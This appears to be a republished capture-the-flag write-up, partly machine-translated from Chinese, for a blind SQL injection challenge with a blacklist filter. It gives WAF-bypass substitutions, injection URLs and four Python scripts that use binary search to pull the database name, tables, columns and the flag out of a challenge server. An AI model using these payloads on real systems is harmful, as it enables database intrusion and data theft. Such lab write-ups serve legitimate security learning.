当前位置：网站首页>HGAME 2022 Final Pokemon v2 writeup

HGAME 2022 Final Pokemon v2 writeup

2022-08-10 23:45:00 【ek1ng】

Hgame final Pokemon v2 writeup

题目概述

一道sqlBlind topic,No direct echo andwaf比较多,finalI didn't make it at the time, and now I'll make up a supplementary question

参考: http://dhycnhdu.com/index.php/archives/5/https://blog.51cto.com/u_15400016/4287240

How to bypass filtering

The title is given the source code,根据源码的wafLet's talk about how to bypass it firstwaf

<?php

$server = $_ENV['MYSQL_ADDR'];
$username = $_ENV['MYSQL_USER'];
$password = $_ENV['MYSQL_PASSWORD'];
$database = $_ENV['DATABASE'];

$db = new mysqli($server, $username, $password, $database);
if ($db->connect_error) {
    die('The 鏁 version is 馁 鐴 tart and 鎺鎺ュけ璐ワ紒');
}

function waf($code) {
    $blacklist = ['substr', 'mid', '=', 'like', '#', '\'', '"', '!','extract', 'update', '\^', '\$','union', '\bor\b', 'and', ' ', '\+', '-'];
    foreach($blacklist as $b) {
        if (preg_match('/'.$b.'/i', $code)) {
            return true;
        }
    }
    return false;
}

function getStatusMessage($code) {
    global $db;

    if (waf($code)) {
        return -1;
    }
    $sql = 'SELECT code,msg FROM errors WHERE code='.$code;
    return $db->query($sql);
}

sqldirectly in the statementcodeVariables are concatenated insql语句,导致sql注入的发生.

unionThe filtering results in the inability to use a union query,Joint query is to directly bring out the query results,Only blinds can be used here,下面是对waffilter some bypass measures

substr -> right(left(xxx,1),1)

空格 -> /**/

= -> in() 或者 >

and -> %26%26

字符串过滤 -> 16进制编码

Subqueries require outer parentheses

注入点的判断

首先是注入点,在这个error界面的code变量存在sql注入

字段数

使用order byJudge the number of returned fields

/error.php?code=404/**/order/**/by/**/3

回显failed to query database

/error.php?code=404/**/order/**/by/**/2

回显pokemon not found

说明字段数为2

数据库长度

/error.php?code=404/**/%26%26/**/if(length(database())>7,sleep(1),1)

回显pokemon not found

/error.php?code=404/**/%26%26/**/if(length(database())>6,sleep(1),1)

echo is empty

说明数据库长度为7

数据库名

原payload:/error.php?code=404 and ascii(substr(database(),1,1)>112

绕waf后如下

/error.php?code=404/**/%26%26/**/ascii(right(left(database(),1),1))>112

echo is empty

/error.php?code=404/**/%26%26/**/ascii(right(left(database(),1),1))>111

回显pokemon not found

Description The first character of the database field isp

Then we need to write onepython脚本,Manual injection is not a thing,写个pythonIt is faster to inject scripts with dichotomy

# -*- coding: utf-8 -*-
import requests
import re

findlink = re.compile(r'(.*) Pokemon (.*?) .*')
baseurl = "http://146.56.223.34:65432/error.php?code="
dbs = ""
for i in range(1, 8):
    print('----------------------------------------------------')
    min_value = 33
    max_value = 130
    mid = (min_value + max_value) // 2  # 中值
    while (min_value < max_value):
        code = f"404/**/%26%26/**/ascii(right(left(database(),{i}),1))>{mid}"
        payload = baseurl + code
        r = requests.get(payload)
        # 回显404Indicates that the expression holds,mid太小
        if (len(re.findall(findlink, r.text)) != 0):
            min_value = mid + 1
        # No echo indicates that the expression does not hold,mid太大
        else:
            max_value = mid
        mid = (min_value + max_value) // 2
    dbs += chr(mid)
    print(dbs)

得到数据库名称pokemon

表名

原payload:?code=404 and (ascii(substr((select table_name from information_schema.tables where table_schema='pokemon' limit 0,1),1,1)))>?

# -*- coding: utf-8 -*-
import requests
import re

findlink = re.compile(r'(.*) Pokemon (.*?) .*')
baseurl = "http://146.56.223.34:65432/error.php?code="
dbs = ""
for i in range(1, 100):
    print('----------------------------------------------------')
    min_value = 33
    max_value = 130
    mid = (min_value + max_value) // 2  # 中值
    while (min_value < max_value):
        code = f"404/**/%26%26/**/ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(0x706f6b656d6f6e)/**/limit/**/0,1),{i}),1))>{mid}"
        payload = baseurl + code
        r = requests.get(payload)
        # 回显404Indicates that the expression holds,mid太小
        if (len(re.findall(findlink, r.text)) != 0):
            min_value = mid + 1
        # No echo indicates that the expression does not hold,mid太大
        else:
            max_value = mid
        mid = (min_value + max_value) // 2
    dbs += chr(mid)
    print(dbs)

得到表名errors,seeeeeeecret,But I use it when bursting the data columntable_schema = ‘pokemon’So this table name is not used,Also there is something wrong with this script,Because I didn't judge the length,So the length of the burst is not sure,But usually there won't be repeated characters at the end

列名

原payload:?code=404 and (ascii(substr((select column_name from information_schema.columns where table_schema='pokemon' limit 0,1),1,1)))>?

# -*- coding: utf-8 -*-
import requests
import re

findlink = re.compile(r'(.*) Pokemon (.*?) .*')
baseurl = "http://146.56.223.34:65432/error.php?code="
dbs = ""
for i in range(1, 100):
    print('----------------------------------------------------')
    min_value = 33
    max_value = 130
    mid = (min_value + max_value) // 2  # 中值
    while (min_value < max_value):
        code = f"404/**/%26%26/**/ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/in/**/(0x706f6b656d6f6e)/**/limit/**/0,1),{i}),1))>{mid}"
        payload = baseurl + code
        r = requests.get(payload)
        # 回显404Indicates that the expression holds,mid太小
        if (len(re.findall(findlink, r.text)) != 0):
            min_value = mid + 1
        # No echo indicates that the expression does not hold,mid太大
        else:
            max_value = mid
        mid = (min_value + max_value) // 2
    dbs += chr(mid)
    print(dbs)

得到列名id,code,msg,flag

值

原payload:?code=404 and (ascii(substr((select flag from seeeeeeecret limit 0,1),1,1)))>?

# -*- coding: utf-8 -*-
import requests
import re

findlink = re.compile(r'(.*) Pokemon (.*?) .*')
baseurl = "http://146.56.223.34:65432/error.php?code="
dbs = ""
for i in range(1, 100):
    print('----------------------------------------------------')
    min_value = 33
    max_value = 130
    mid = (min_value + max_value) // 2  # 中值
    while (min_value < max_value):
        code = f"404/**/%26%26/**/ascii(right(left((select/**/flag/**/from/**/seeeeeeecret/**/limit/**/0,1),{i}),1))>{mid}"
        payload = baseurl + code
        r = requests.get(payload)
        # 回显404Indicates that the expression holds,mid太小
        if (len(re.findall(findlink, r.text)) != 0):
            min_value = mid + 1
        # No echo indicates that the expression does not hold,mid太大
        else:
            max_value = mid
        mid = (min_value + max_value) // 2
    dbs += chr(mid)
    print(dbs)

hgame{96mz5v3c9hnj49t7xqj76et6xw4dpczy}

原网站

版权声明
本文为[ek1ng]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/222/202208102229582591.html